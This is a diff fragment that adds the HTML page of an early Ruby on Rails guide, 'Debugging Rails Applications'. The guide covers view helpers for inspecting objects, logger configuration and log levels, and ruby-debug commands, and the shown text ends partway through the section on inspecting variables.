+}
+
+div#container.notoc {
+	max-width: 600px;
+}
+
+.notoc div#content {
+	margin-left: 0;
+}
+
+pre {
+	line-height: 1.4em;
+}
+
+#content p tt {
+	background: #eeeeee;
+	border: solid 1px #cccccc;
+	padding: 3px;
+}
+
+dt {
+	font-weight: bold;
+}
+
+#content dt tt {
+	font-size: 10pt;
+}
+
+dd {
+	margin-left: 3em;
+}
+
+#content dt tt, #content pre tt {
+	background: none;
+	padding: 0;
+	border: 0;
+}
+
+#content .olist ol {
+	margin-left: 2em;
+}
+
+#header {
+	position: relative;
+	max-width: 840px;
+	margin-left: auto;
+	margin-right: auto;
+}
+
+#header.notoc {
+	max-width: 580px;
+}
+
+#logo {
+	position: absolute;
+	left: 10px;
+	top: 10px;
+	width: 110px;
+	height: 140px;
+}
+
+div#header h1#site_title {
+	background: url('images/ruby_on_rails_by_mike_rundle2.gif') top left no-repeat;
+	position: absolute;
+	width: 392px;
+	height: 55px;
+	left: 145px;
+	top: 20px;
+	margin: 0;
+	padding: 0;
+}
+
+#site_title span {
+	display: none;
+}
+
+#site_title_tagline {
+	display: none;
+}
+
+ul#navMain {
+	position: absolute;
+	margin: 0;
+	padding: 0;
+	top: 97px;
+	left: 145px;
+}
+
+.left-floaty, .right-floaty {
+	padding: 15px;
+}
+
+.admonitionblock,
+.tableblock {
+	margin-left: 1em;
+	margin-right: 1em;
+	margin-top: 0.25em;
+	margin-bottom: 1em;
+}
+
+.admonitionblock .icon {
+	padding-right: 8px;
+}
+
+.admonitionblock .content {
+	border: solid 1px #ffda78;
+	background: #fffebd;
+	padding: 10px;
+	padding-top: 8px;
+	padding-bottom: 8px;
+}
+
+.admonitionblock .title {
+	font-size: 140%;
+	margin-bottom: 0.5em;
+}
+
+.tableblock table {
+	border: solid 1px #aaaaff;
+	background: #f0f0ff;
+}
+
+.tableblock th {
+	background: #e0e0e0;
+}
+
+.tableblock th,
+.tableblock td {
+	padding: 3px;
+	padding-left: 5px;
+	padding-right: 5px;
+}
+
+.sidebarblock {
+	margin-top: 0.25em;
+	margin: 1em;
+	border: solid 1px #ccccbb;
+	padding: 8px;
+	background: #ffffe0;
+}
+
+.sidebarblock .sidebar-title {
+	font-size: 140%;
+	font-weight: 600;
+	margin-bottom: 0.3em;
+}
+
+.sidebarblock .sidebar-content > .para:last-child > p {
+	margin-bottom: 0;
+}
+
+.sidebarblock .sidebar-title a {
+	text-decoration: none;
+}
+
+.sidebarblock .sidebar-title a:hover {
+	text-decoration: underline;
+}
+
+	</style>
+</head>
+<body>
+	<div id="header" >
+		<div id="logo">
+			<a href="index.html" title="Ruby on Rails"><img src="images/rails_logo_remix.gif" alt="Rails" height="140" width="110" /></a>
+		</div>
+		
+		<h1 id="site_title"><span>Ruby on Rails</span></h1>
+		<h2 id="site_title_tagline">Sustainable productivity for web-application development</h2>
+
+		<ul id="navMain">
+			<li class="first-child"><a href="http://www.rubyonrails.org/" title="Ruby on Rails" class="ruby_on_rails">Ruby on Rails</a></li>
+			<li><a class="manuals" href="index.html" title="Manuals Index">Guides Index</a></li>
+		</ul>
+	</div>
+
+	<div id="container">
+		
+		<div id="sidebar">
+			<h2>Chapters</h2>
+			<ol>
+					<li>
+					<a href="#_view_helpers_for_debugging">View Helpers for Debugging</a>
+						<ul>
+						
+							<li><a href="#_debug">debug</a></li>
+						
+							<li><a href="#_to_yaml">to_yaml</a></li>
+						
+							<li><a href="#_inspect">inspect</a></li>
+						
+							<li><a href="#_debugging_javascript">Debugging Javascript</a></li>
+						
+						</ul>
+					</li>
+					<li>
+					<a href="#_the_logger">The Logger</a>
+						<ul>
+						
+							<li><a href="#_what_is_the_logger">What is The Logger?</a></li>
+						
+							<li><a href="#_log_levels">Log Levels</a></li>
+						
+							<li><a href="#_sending_messages">Sending Messages</a></li>
+						
+						</ul>
+					</li>
+					<li>
+					<a href="#_debugging_with_ruby_debug">Debugging with ruby-debug</a>
+						<ul>
+						
+							<li><a href="#_setup">Setup</a></li>
+						
+							<li><a href="#_the_shell">The Shell</a></li>
+						
+							<li><a href="#_the_context">The Context</a></li>
+						
+							<li><a href="#_threads">Threads</a></li>
+						
+							<li><a href="#_inspecting_variables">Inspecting Variables</a></li>
+						
+							<li><a href="#_step_by_step">Step by Step</a></li>
+						
+							<li><a href="#_breakpoints">Breakpoints</a></li>
+						
+							<li><a href="#_catching_exceptions">Catching Exceptions</a></li>
+						
+							<li><a href="#_resuming_execution">Resuming Execution</a></li>
+						
+							<li><a href="#_editing">Editing</a></li>
+						
+							<li><a href="#_quitting">Quitting</a></li>
+						
+							<li><a href="#_settings">Settings</a></li>
+						
+						</ul>
+					</li>
+					<li>
+					<a href="#_debugging_memory_leaks">Debugging Memory Leaks</a>
+						<ul>
+						
+							<li><a href="#_bleakhouse">BleakHouse</a></li>
+						
+							<li><a href="#_valgrind">Valgrind</a></li>
+						
+						</ul>
+					</li>
+					<li>
+					<a href="#_plugins_for_debugging">Plugins for Debugging</a>
+					</li>
+					<li>
+					<a href="#_references">References</a>
+					</li>
+					<li>
+					<a href="#_changelog">Changelog</a>
+					</li>
+			</ol>
+		</div>
+		
+		<div id="content">
+				<h1>Debugging Rails Applications</h1>
+			<div id="preamble">
+<div class="sectionbody">
+<div class="para"><p>This guide introduces techniques for debugging Ruby on Rails applications. By referring to this guide, you will be able to:</p></div>
+<div class="ilist"><ul>
+<li>
+<p>
+Understand the purpose of debugging
+</p>
+</li>
+<li>
+<p>
+Track down problems and issues in your application that your tests aren't identifying
+</p>
+</li>
+<li>
+<p>
+Learn the different ways of debugging
+</p>
+</li>
+<li>
+<p>
+Analyze the stack trace
+</p>
+</li>
+</ul></div>
+</div>
+</div>
+<h2 id="_view_helpers_for_debugging">1. View Helpers for Debugging</h2>
+<div class="sectionbody">
+<div class="para"><p>One common task is to inspect the contents of a variable. In Rails, you can do this with three methods:</p></div>
+<div class="ilist"><ul>
+<li>
+<p>
+<tt>debug</tt>
+</p>
+</li>
+<li>
+<p>
+<tt>to_yaml</tt>
+</p>
+</li>
+<li>
+<p>
+<tt>inspect</tt>
+</p>
+</li>
+</ul></div>
+<h3 id="_debug">1.1. debug</h3>
+<div class="para"><p>The <tt>debug</tt> helper will return a &lt;pre&gt;-tag that renders the object using the YAML format. This will generate human-readable data from any object. For example, if you have this code in a view:</p></div>
+<div class="listingblock">
+<div class="content"><!-- Generator: GNU source-highlight 2.9
+by Lorenzo Bettini
+http://www.lorenzobettini.it
+http://www.gnu.org/software/src-highlite -->
+<pre><tt>&lt;%= debug @post %&gt;
+<span style="font-weight: bold"><span style="color: #0000FF">&lt;p&gt;</span></span>
+  <span style="font-weight: bold"><span style="color: #0000FF">&lt;b&gt;</span></span>Title:<span style="font-weight: bold"><span style="color: #0000FF">&lt;/b&gt;</span></span>
+  &lt;%=h @post.title %&gt;
+<span style="font-weight: bold"><span style="color: #0000FF">&lt;/p&gt;</span></span>
+</tt></pre></div></div>
+<div class="para"><p>You'll see something like this:</p></div>
+<div class="listingblock">
+<div class="content">
+<pre><tt>--- !ruby/object:Post
+attributes:
+  updated_at: 2008-09-05 22:55:47
+  body: It's a very helpful guide for debugging your Rails app.
+  title: Rails debugging guide
+  published: t
+  id: "1"
+  created_at: 2008-09-05 22:55:47
+attributes_cache: {}
+
+
+Title: Rails debugging guide</tt></pre>
+</div></div>
+<h3 id="_to_yaml">1.2. to_yaml</h3>
+<div class="para"><p>Displaying an instance variable, or any other object or method, in yaml format can be achieved this way:</p></div>
+<div class="listingblock">
+<div class="content"><!-- Generator: GNU source-highlight 2.9
+by Lorenzo Bettini
+http://www.lorenzobettini.it
+http://www.gnu.org/software/src-highlite -->
+<pre><tt>&lt;%= simple_format @post.to_yaml %&gt;
+<span style="font-weight: bold"><span style="color: #0000FF">&lt;p&gt;</span></span>
+  <span style="font-weight: bold"><span style="color: #0000FF">&lt;b&gt;</span></span>Title:<span style="font-weight: bold"><span style="color: #0000FF">&lt;/b&gt;</span></span>
+  &lt;%=h @post.title %&gt;
+<span style="font-weight: bold"><span style="color: #0000FF">&lt;/p&gt;</span></span>
+</tt></pre></div></div>
+<div class="para"><p>The <tt>to_yaml</tt> method converts the method to YAML format leaving it more readable, and then the <tt>simple_format</tt> helper is used to render each line as in the console. This is how <tt>debug</tt> method does its magic.</p></div>
+<div class="para"><p>As a result of this, you will have something like this in your view:</p></div>
+<div class="listingblock">
+<div class="content">
+<pre><tt>--- !ruby/object:Post
+attributes:
+updated_at: 2008-09-05 22:55:47
+body: It's a very helpful guide for debugging your Rails app.
+title: Rails debugging guide
+published: t
+id: "1"
+created_at: 2008-09-05 22:55:47
+attributes_cache: {}
+
+Title: Rails debugging guide</tt></pre>
+</div></div>
+<h3 id="_inspect">1.3. inspect</h3>
+<div class="para"><p>Another useful method for displaying object values is <tt>inspect</tt>, especially when working with arrays or hashes. This will print the object value as a string. For example:</p></div>
+<div class="listingblock">
+<div class="content"><!-- Generator: GNU source-highlight 2.9
+by Lorenzo Bettini
+http://www.lorenzobettini.it
+http://www.gnu.org/software/src-highlite -->
+<pre><tt>&lt;%= [1, 2, 3, 4, 5].inspect %&gt;
+<span style="font-weight: bold"><span style="color: #0000FF">&lt;p&gt;</span></span>
+  <span style="font-weight: bold"><span style="color: #0000FF">&lt;b&gt;</span></span>Title:<span style="font-weight: bold"><span style="color: #0000FF">&lt;/b&gt;</span></span>
+  &lt;%=h @post.title %&gt;
+<span style="font-weight: bold"><span style="color: #0000FF">&lt;/p&gt;</span></span>
+</tt></pre></div></div>
+<div class="para"><p>Will be rendered as follows:</p></div>
+<div class="listingblock">
+<div class="content">
+<pre><tt>[1, 2, 3, 4, 5]
+
+Title: Rails debugging guide</tt></pre>
+</div></div>
+<h3 id="_debugging_javascript">1.4. Debugging Javascript</h3>
+<div class="para"><p>Rails has built-in support to debug RJS, to active it, set <tt>ActionView::Base.debug_rjs</tt> to <em>true</em>, this will specify whether RJS responses should be wrapped in a try/catch block that alert()s the caught exception (and then re-raises it).</p></div>
+<div class="para"><p>To enable it, add the following in the <tt>Rails::Initializer do |config|</tt> block inside <tt>environment.rb</tt>:</p></div>
+<div class="listingblock">
+<div class="content"><!-- Generator: GNU source-highlight 2.9
+by Lorenzo Bettini
+http://www.lorenzobettini.it
+http://www.gnu.org/software/src-highlite -->
+<pre><tt>config<span style="color: #990000">.</span>action_view<span style="color: #990000">[:</span>debug_rjs<span style="color: #990000">]</span> <span style="color: #990000">=</span> <span style="font-weight: bold"><span style="color: #0000FF">true</span></span>
+</tt></pre></div></div>
+<div class="para"><p>Or, at any time, setting <tt>ActionView::Base.debug_rjs</tt> to <em>true</em>:</p></div>
+<div class="listingblock">
+<div class="content"><!-- Generator: GNU source-highlight 2.9
+by Lorenzo Bettini
+http://www.lorenzobettini.it
+http://www.gnu.org/software/src-highlite -->
+<pre><tt>ActionView<span style="color: #990000">::</span>Base<span style="color: #990000">.</span>debug_rjs <span style="color: #990000">=</span> <span style="font-weight: bold"><span style="color: #0000FF">true</span></span>
+</tt></pre></div></div>
+<div class="admonitionblock">
+<table><tr>
+<td class="icon">
+<img src="./images/icons/tip.png" alt="Tip" />
+</td>
+<td class="content">For more information on debugging javascript refer to <a href="http://getfirebug.com/">Firebug</a>, the popular debugger for Firefox.</td>
+</tr></table>
+</div>
+</div>
+<h2 id="_the_logger">2. The Logger</h2>
+<div class="sectionbody">
+<div class="para"><p>It can also be useful to save information to log files at runtime. Rails maintains a separate log file for each runtime environment.</p></div>
+<h3 id="_what_is_the_logger">2.1. What is The Logger?</h3>
+<div class="para"><p>Rails makes use of Ruby's standard <tt>logger</tt> to write log information. You can also substitute another logger such as <tt>Log4R</tt> if you wish.</p></div>
+<div class="para"><p>You can specify an alternative logger in your <tt>environment.rb</tt> or any environment file:</p></div>
+<div class="listingblock">
+<div class="content"><!-- Generator: GNU source-highlight 2.9
+by Lorenzo Bettini
+http://www.lorenzobettini.it
+http://www.gnu.org/software/src-highlite -->
+<pre><tt>ActiveRecord<span style="color: #990000">::</span>Base<span style="color: #990000">.</span>logger <span style="color: #990000">=</span> Logger<span style="color: #990000">.</span>new<span style="color: #990000">(</span>STDOUT<span style="color: #990000">)</span>
+ActiveRecord<span style="color: #990000">::</span>Base<span style="color: #990000">.</span>logger <span style="color: #990000">=</span> Log4r<span style="color: #990000">::</span>Logger<span style="color: #990000">.</span>new<span style="color: #990000">(</span><span style="color: #FF0000">"Application Log"</span><span style="color: #990000">)</span>
+</tt></pre></div></div>
+<div class="para"><p>Or in the <tt>Initializer</tt> section, add <em>any</em> of the following</p></div>
+<div class="listingblock">
+<div class="content"><!-- Generator: GNU source-highlight 2.9
+by Lorenzo Bettini
+http://www.lorenzobettini.it
+http://www.gnu.org/software/src-highlite -->
+<pre><tt>config<span style="color: #990000">.</span>logger <span style="color: #990000">=</span> Logger<span style="color: #990000">.</span>new<span style="color: #990000">(</span>STDOUT<span style="color: #990000">)</span>
+config<span style="color: #990000">.</span>logger <span style="color: #990000">=</span> Log4r<span style="color: #990000">::</span>Logger<span style="color: #990000">.</span>new<span style="color: #990000">(</span><span style="color: #FF0000">"Application Log"</span><span style="color: #990000">)</span>
+</tt></pre></div></div>
+<div class="admonitionblock">
+<table><tr>
+<td class="icon">
+<img src="./images/icons/tip.png" alt="Tip" />
+</td>
+<td class="content">By default, each log is created under <tt>RAILS_ROOT/log/</tt> and the log file name is <tt>environment_name.log</tt>.</td>
+</tr></table>
+</div>
+<h3 id="_log_levels">2.2. Log Levels</h3>
+<div class="para"><p>When something is logged it's printed into the corresponding log if the log level of the message is equal or higher than the configured log level. If you want to know the current log level you can call the <tt>ActiveRecord::Base.logger.level</tt> method.</p></div>
+<div class="para"><p>The available log levels are: <tt>:debug</tt>, <tt>:info</tt>, <tt>:warn</tt>, <tt>:error</tt>, and <tt>:fatal</tt>, corresponding to the log level numbers from 0 up to 4 respectively. To change the default log level, use</p></div>
+<div class="listingblock">
+<div class="content"><!-- Generator: GNU source-highlight 2.9
+by Lorenzo Bettini
+http://www.lorenzobettini.it
+http://www.gnu.org/software/src-highlite -->
+<pre><tt>config<span style="color: #990000">.</span>log_level <span style="color: #990000">=</span> Logger<span style="color: #990000">::</span>WARN <span style="font-style: italic"><span style="color: #9A1900"># In any environment initializer, or</span></span>
+ActiveRecord<span style="color: #990000">::</span>Base<span style="color: #990000">.</span>logger<span style="color: #990000">.</span>level <span style="color: #990000">=</span> <span style="color: #993399">0</span> <span style="font-style: italic"><span style="color: #9A1900"># at any time</span></span>
+</tt></pre></div></div>
+<div class="para"><p>This is useful when you want to log under development or staging, but you don't want to flood your production log with unnecessary information.</p></div>
+<div class="admonitionblock">
+<table><tr>
+<td class="icon">
+<img src="./images/icons/tip.png" alt="Tip" />
+</td>
+<td class="content">The default Rails log level is <tt>info</tt> in production mode and <tt>debug</tt> in development and test mode.</td>
+</tr></table>
+</div>
+<h3 id="_sending_messages">2.3. Sending Messages</h3>
+<div class="para"><p>To write in the current log use the <tt>logger.(debug|info|warn|error|fatal)</tt> method from within a controller, model or mailer:</p></div>
+<div class="listingblock">
+<div class="content"><!-- Generator: GNU source-highlight 2.9
+by Lorenzo Bettini
+http://www.lorenzobettini.it
+http://www.gnu.org/software/src-highlite -->
+<pre><tt>logger<span style="color: #990000">.</span>debug <span style="color: #FF0000">"Person attributes hash: #{@person.attributes.inspect}"</span>
+logger<span style="color: #990000">.</span>info <span style="color: #FF0000">"Processing the request..."</span>
+logger<span style="color: #990000">.</span>fatal <span style="color: #FF0000">"Terminating application, raised unrecoverable error!!!"</span>
+</tt></pre></div></div>
+<div class="para"><p>Here's an example of a method instrumented with extra logging:</p></div>
+<div class="listingblock">
+<div class="content"><!-- Generator: GNU source-highlight 2.9
+by Lorenzo Bettini
+http://www.lorenzobettini.it
+http://www.gnu.org/software/src-highlite -->
+<pre><tt><span style="font-weight: bold"><span style="color: #0000FF">class</span></span> PostsController <span style="color: #990000">&lt;</span> ApplicationController
+  <span style="font-style: italic"><span style="color: #9A1900"># ...</span></span>
+
+  <span style="font-weight: bold"><span style="color: #0000FF">def</span></span> create
+    <span style="color: #009900">@post</span> <span style="color: #990000">=</span> Post<span style="color: #990000">.</span>new<span style="color: #990000">(</span>params<span style="color: #990000">[:</span>post<span style="color: #990000">])</span>
+    logger<span style="color: #990000">.</span>debug <span style="color: #FF0000">"New post: #{@post.attributes.inspect}"</span>
+    logger<span style="color: #990000">.</span>debug <span style="color: #FF0000">"Post should be valid: #{@post.valid?}"</span>
+
+    <span style="font-weight: bold"><span style="color: #0000FF">if</span></span> <span style="color: #009900">@post</span><span style="color: #990000">.</span>save
+      flash<span style="color: #990000">[:</span>notice<span style="color: #990000">]</span> <span style="color: #990000">=</span> <span style="color: #FF0000">'Post was successfully created.'</span>
+      logger<span style="color: #990000">.</span>debug <span style="color: #FF0000">"The post was saved and now is the user is going to be redirected..."</span>
+      redirect_to<span style="color: #990000">(</span><span style="color: #009900">@post</span><span style="color: #990000">)</span>
+    <span style="font-weight: bold"><span style="color: #0000FF">else</span></span>
+      render <span style="color: #990000">:</span>action <span style="color: #990000">=&gt;</span> <span style="color: #FF0000">"new"</span>
+    <span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
+  <span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
+
+  <span style="font-style: italic"><span style="color: #9A1900"># ...</span></span>
+<span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
+</tt></pre></div></div>
+<div class="para"><p>Here's an example of the log generated by this method:</p></div>
+<div class="listingblock">
+<div class="content">
+<pre><tt>Processing PostsController#create (for 127.0.0.1 at 2008-09-08 11:52:54) [POST]
+  Session ID: BAh7BzoMY3NyZl9pZCIlMDY5MWU1M2I1ZDRjODBlMzkyMWI1OTg2NWQyNzViZjYiCmZsYXNoSUM6J0FjdGl
+vbkNvbnRyb2xsZXI6OkZsYXNoOjpGbGFzaEhhc2h7AAY6CkB1c2VkewA=--b18cd92fba90eacf8137e5f6b3b06c4d724596a4
+  Parameters: {"commit"=&gt;"Create", "post"=&gt;{"title"=&gt;"Debugging Rails",
+ "body"=&gt;"I'm learning how to print in logs!!!", "published"=&gt;"0"},
+ "authenticity_token"=&gt;"2059c1286e93402e389127b1153204e0d1e275dd", "action"=&gt;"create", "controller"=&gt;"posts"}
+New post: {"updated_at"=&gt;nil, "title"=&gt;"Debugging Rails", "body"=&gt;"I'm learning how to print in logs!!!",
+ "published"=&gt;false, "created_at"=&gt;nil}
+Post should be valid: true
+  Post Create (0.000443)   INSERT INTO "posts" ("updated_at", "title", "body", "published",
+ "created_at") VALUES('2008-09-08 14:52:54', 'Debugging Rails',
+ 'I''m learning how to print in logs!!!', 'f', '2008-09-08 14:52:54')
+The post was saved and now is the user is going to be redirected...
+Redirected to #&lt;Post:0x20af760&gt;
+Completed in 0.01224 (81 reqs/sec) | DB: 0.00044 (3%) | 302 Found [http://localhost/posts]</tt></pre>
+</div></div>
+<div class="para"><p>Adding extra logging like this makes it easy to search for unexpected or unusual behavior in your logs. If you add extra logging, be sure to make sensible use of log levels, to avoid filling your production logs with useless trivia.</p></div>
+</div>
+<h2 id="_debugging_with_ruby_debug">3. Debugging with ruby-debug</h2>
+<div class="sectionbody">
+<div class="para"><p>When your code is behaving in unexpected ways, you can try printing to logs or the console to diagnose the problem. Unfortunately, there are times when this sort of error tracking is not effective in finding the root cause of a problem. When you actually need to journey into your running source code, the debugger is your best companion.</p></div>
+<div class="para"><p>The debugger can also help you if you want to learn about the Rails source code but don't know where to start. Just debug any request to your application and use this guide to learn how to move from the code you have written deeper into Rails code.</p></div>
+<h3 id="_setup">3.1. Setup</h3>
+<div class="para"><p>The debugger used by Rails, <tt>ruby-debug</tt>, comes as a gem. To install it, just run:</p></div>
+<div class="listingblock">
+<div class="content"><!-- Generator: GNU source-highlight 2.9
+by Lorenzo Bettini
+http://www.lorenzobettini.it
+http://www.gnu.org/software/src-highlite -->
+<pre><tt>$ sudo gem install ruby-debug
+</tt></pre></div></div>
+<div class="para"><p>In case you want to download a particular version or get the source code, refer to the <a href="http://rubyforge.org/projects/ruby-debug/">project's page on rubyforge</a>.</p></div>
+<div class="para"><p>Rails has had built-in support for ruby-debug since Rails 2.0. Inside any Rails application you can invoke the debugger by calling the <tt>debugger</tt> method.</p></div>
+<div class="para"><p>Here's an example:</p></div>
+<div class="listingblock">
+<div class="content"><!-- Generator: GNU source-highlight 2.9
+by Lorenzo Bettini
+http://www.lorenzobettini.it
+http://www.gnu.org/software/src-highlite -->
+<pre><tt><span style="font-weight: bold"><span style="color: #0000FF">class</span></span> PeopleController <span style="color: #990000">&lt;</span> ApplicationController
+  <span style="font-weight: bold"><span style="color: #0000FF">def</span></span> new
+    debugger
+    <span style="color: #009900">@person</span> <span style="color: #990000">=</span> Person<span style="color: #990000">.</span>new
+  <span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
+<span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
+</tt></pre></div></div>
+<div class="para"><p>If you see the message in the console or logs:</p></div>
+<div class="listingblock">
+<div class="content">
+<pre><tt>***** Debugger requested, but was not available: Start server with --debugger to enable *****</tt></pre>
+</div></div>
+<div class="para"><p>Make sure you have started your web server with the option <tt>&#8212;debugger</tt>:</p></div>
+<div class="listingblock">
+<div class="content"><!-- Generator: GNU source-highlight 2.9
+by Lorenzo Bettini
+http://www.lorenzobettini.it
+http://www.gnu.org/software/src-highlite -->
+<pre><tt><span style="color: #990000">~</span>/PathTo/rails_project$ script/server --debugger
+<span style="color: #990000">=&gt;</span> Booting Mongrel <span style="color: #990000">(</span>use <span style="color: #FF0000">'script/server webrick'</span> to force WEBrick<span style="color: #990000">)</span>
+<span style="color: #990000">=&gt;</span> Rails <span style="color: #993399">2.2</span><span style="color: #990000">.</span><span style="color: #993399">0</span> application starting on http<span style="color: #990000">://</span><span style="color: #993399">0.0</span><span style="color: #990000">.</span><span style="color: #993399">0.0</span><span style="color: #990000">:</span><span style="color: #993399">3000</span>
+<span style="color: #990000">=&gt;</span> Debugger enabled
+<span style="color: #990000">...</span>
+</tt></pre></div></div>
+<div class="admonitionblock">
+<table><tr>
+<td class="icon">
+<img src="./images/icons/tip.png" alt="Tip" />
+</td>
+<td class="content">In development mode, you can dynamically <tt>require 'ruby-debug'</tt> instead of restarting the server, if it was started without <tt>&#8212;debugger</tt>.</td>
+</tr></table>
+</div>
+<div class="para"><p>In order to use Rails debugging you'll need to be running either <strong>WEBrick</strong> or <strong>Mongrel</strong>. For the moment, no alternative servers are supported.</p></div>
+<h3 id="_the_shell">3.2. The Shell</h3>
+<div class="para"><p>As soon as your application calls the <tt>debugger</tt> method, the debugger will be started in a debugger shell inside the terminal window where you launched your application server, and you will be placed at ruby-debug's prompt <tt>(rdb:n)</tt>. The <em>n</em> is the thread number. The prompt will also show you the next line of code that is waiting to run.</p></div>
+<div class="para"><p>If you got there by a browser request, the browser tab containing the request will be hung until the debugger has finished and the trace has finished processing the entire request.</p></div>
+<div class="para"><p>For example:</p></div>
+<div class="listingblock">
+<div class="content">
+<pre><tt>@posts = Post.find(:all)
+(rdb:7)</tt></pre>
+</div></div>
+<div class="para"><p>Now it's time to explore and dig into your application. A good place to start is by asking the debugger for help&#8230; so type: <tt>help</tt> (You didn't see that coming, right?)</p></div>
+<div class="listingblock">
+<div class="content">
+<pre><tt>(rdb:7) help
+ruby-debug help v0.10.2
+Type 'help &lt;command-name&gt;' for help on a specific command
+
+Available commands:
+backtrace  delete   enable  help    next  quit     show    trace
+break      disable  eval    info    p     reload   source  undisplay
+catch      display  exit    irb     pp    restart  step    up
+condition  down     finish  list    ps    save     thread  var
+continue   edit     frame   method  putl  set      tmate   where</tt></pre>
+</div></div>
+<div class="admonitionblock">
+<table><tr>
+<td class="icon">
+<img src="./images/icons/tip.png" alt="Tip" />
+</td>
+<td class="content">To view the help menu for any command use <tt>help &lt;command-name&gt;</tt> in active debug mode. For example: <em><tt>help var</tt></em></td>
+</tr></table>
+</div>
+<div class="para"><p>The next command to learn is one of the most useful: <tt>list</tt>. You can also abbreviate ruby-debug commands by supplying just enough letters to distinguish them from other commands, so you can also use <tt>l</tt> for the <tt>list</tt> command.</p></div>
+<div class="para"><p>This command shows you where you are in the code by printing 10 lines centered around the current line; the current line in this particular case is line 6 and is marked by <tt>&#8658;</tt>.</p></div>
+<div class="listingblock">
+<div class="content">
+<pre><tt>(rdb:7) list
+[1, 10] in /PathToProject/posts_controller.rb
+   1  class PostsController &lt; ApplicationController
+   2    # GET /posts
+   3    # GET /posts.xml
+   4    def index
+   5      debugger
+=&gt; 6      @posts = Post.find(:all)
+   7
+   8      respond_to do |format|
+   9        format.html # index.html.erb
+   10        format.xml  { render :xml =&gt; @posts }</tt></pre>
+</div></div>
+<div class="para"><p>If you repeat the <tt>list</tt> command, this time using just <tt>l</tt>, the next ten lines of the file will be printed out.</p></div>
+<div class="listingblock">
+<div class="content">
+<pre><tt>(rdb:7) l
+[11, 20] in /PathTo/project/app/controllers/posts_controller.rb
+   11      end
+   12    end
+   13
+   14    # GET /posts/1
+   15    # GET /posts/1.xml
+   16    def show
+   17      @post = Post.find(params[:id])
+   18
+   19      respond_to do |format|
+   20        format.html # show.html.erb</tt></pre>
+</div></div>
+<div class="para"><p>And so on until the end of the current file. When the end of file is reached, the <tt>list</tt> command will start again from the beginning of the file and continue again up to the end, treating the file as a circular buffer.</p></div>
+<h3 id="_the_context">3.3. The Context</h3>
+<div class="para"><p>When you start debugging your application, you will be placed in different contexts as you go through the different parts of the stack.</p></div>
+<div class="para"><p>ruby-debug creates a content when a stopping point or an event is reached. The context has information about the suspended program which enables a debugger to inspect the frame stack, evaluate variables from the perspective of the debugged program, and contains information about the place where the debugged program is stopped.</p></div>
+<div class="para"><p>At any time you can call the <tt>backtrace</tt> command (or its alias <tt>where</tt>) to print the backtrace of the application. This can be very helpful to know how you got where you are. If you ever wondered about how you got somewhere in your code, then <tt>backtrace</tt> will supply the answer.</p></div>
+<div class="listingblock">
+<div class="content">
+<pre><tt>(rdb:5) where
+    #0 PostsController.index
+       at line /PathTo/project/app/controllers/posts_controller.rb:6
+    #1 Kernel.send
+       at line /PathTo/project/vendor/rails/actionpack/lib/action_controller/base.rb:1175
+    #2 ActionController::Base.perform_action_without_filters
+       at line /PathTo/project/vendor/rails/actionpack/lib/action_controller/base.rb:1175
+    #3 ActionController::Filters::InstanceMethods.call_filters(chain#ActionController::Fil...,...)
+       at line /PathTo/project/vendor/rails/actionpack/lib/action_controller/filters.rb:617
+...</tt></pre>
+</div></div>
+<div class="para"><p>You move anywhere you want in this trace (thus changing the context) by using the <tt>frame <em>n</em></tt> command, where <em>n</em> is the specified frame number.</p></div>
+<div class="listingblock">
+<div class="content">
+<pre><tt>(rdb:5) frame 2
+#2 ActionController::Base.perform_action_without_filters
+       at line /PathTo/project/vendor/rails/actionpack/lib/action_controller/base.rb:1175</tt></pre>
+</div></div>
+<div class="para"><p>The available variables are the same as if you were running the code line by line. After all, that's what debugging is.</p></div>
+<div class="para"><p>Moving up and down the stack frame: You can use <tt>up [n]</tt> (<tt>u</tt> for abbreviated) and <tt>down [n]</tt> commands in order to change the context <em>n</em> frames up or down the stack respectively. <em>n</em> defaults to one. Up in this case is towards higher-numbered stack frames, and down is towards lower-numbered stack frames.</p></div>
+<h3 id="_threads">3.4. Threads</h3>
+<div class="para"><p>The debugger can list, stop, resume and switch between running threads by using the command <tt>thread</tt> (or the abbreviated <tt>th</tt>). This command has a handful of options:</p></div>
+<div class="ilist"><ul>
+<li>
+<p>
+<tt>thread</tt> shows the current thread.
+</p>
+</li>
+<li>
+<p>
+<tt>thread list</tt> is used to list all threads and their statuses. The plus + character and the number indicates the current thread of execution.
+</p>
+</li>
+<li>
+<p>
+<tt>thread stop <em>n</em></tt> stop thread <em>n</em>.
+</p>
+</li>
+<li>
+<p>
+<tt>thread resume <em>n</em></tt> resumes thread <em>n</em>.
+</p>
+</li>
+<li>
+<p>
+<tt>thread switch <em>n</em></tt> switches the current thread context to <em>n</em>.
+</p>
+</li>
+</ul></div>
+<div class="para"><p>This command is very helpful, among other occasions, when you are debugging concurrent threads and need to verify that there are no race conditions in your code.</p></div>
+<h3 id="_inspecting_variables">3.5. Inspecting Variables</h3>
+<div class="para"><p>Any expression can be evaluated in the current context. To evaluate an expression, just type it!</p></div>
+<div class="para"><p>This example shows how you can print the instance_variables defined within the current context:</p></div>
+<div class="listingblock">
+<div class="content">
+<pre><tt>@posts = Post.find(:all)
+(rdb:11) instance_variables
+["@_response", "@action_name", "@url", "@_session", "@_cookies", "@performed_render", "@_flash", "@template", "@_params", "@before_filter_chain_aborted", "@request_origin", "@_headers", "@performed_redirect", "@_request"]</tt></pre>
+</div></div>
+<div class="para"><p>As you may have figured out, all of the variables that you can access from a controller are displayed. This list is dynamically updated as you execute code. For example, run the next line using <tt>next</tt> (you'll learn more about this command later in this guide).</p></div>
+<div class="listingblock">
+<div class="content">
+<pre><tt>(rdb:11) next
+Processing PostsController#index (for 127.0.0.1 at 2008-09-04 19:51:34) [GET]
+  Session ID: BAh7BiIKZmxhc2hJQzonQWN0aW9uQ29udHJvbGxlcjo6Rmxhc2g6OkZsYXNoSGFzaHsABjoKQHVzZWR7AA==--b16e91b992453a8cc201694d660147bba8b0fd0e
+  Parameters: {"action"=&gt;"index", "controller"=&gt;"posts"}
+/PathToProject/posts_controller.rb:8
+respond_to do |format|</tt></pre>
+</div></div>
+<div class="para"><p>And then ask again for the instance_variables:</p></div>
+<div class="listingblock">
+<div class="content">
+<pre><tt>(rdb:11) instance_variables.include? "@posts"
+true</tt></pre>
+</div></div>
+<div class="para"><p>Now <tt>@posts</tt> is a included in the instance variables, because the line defining it was executed.</p></div>
+<div class="admonitionblock">
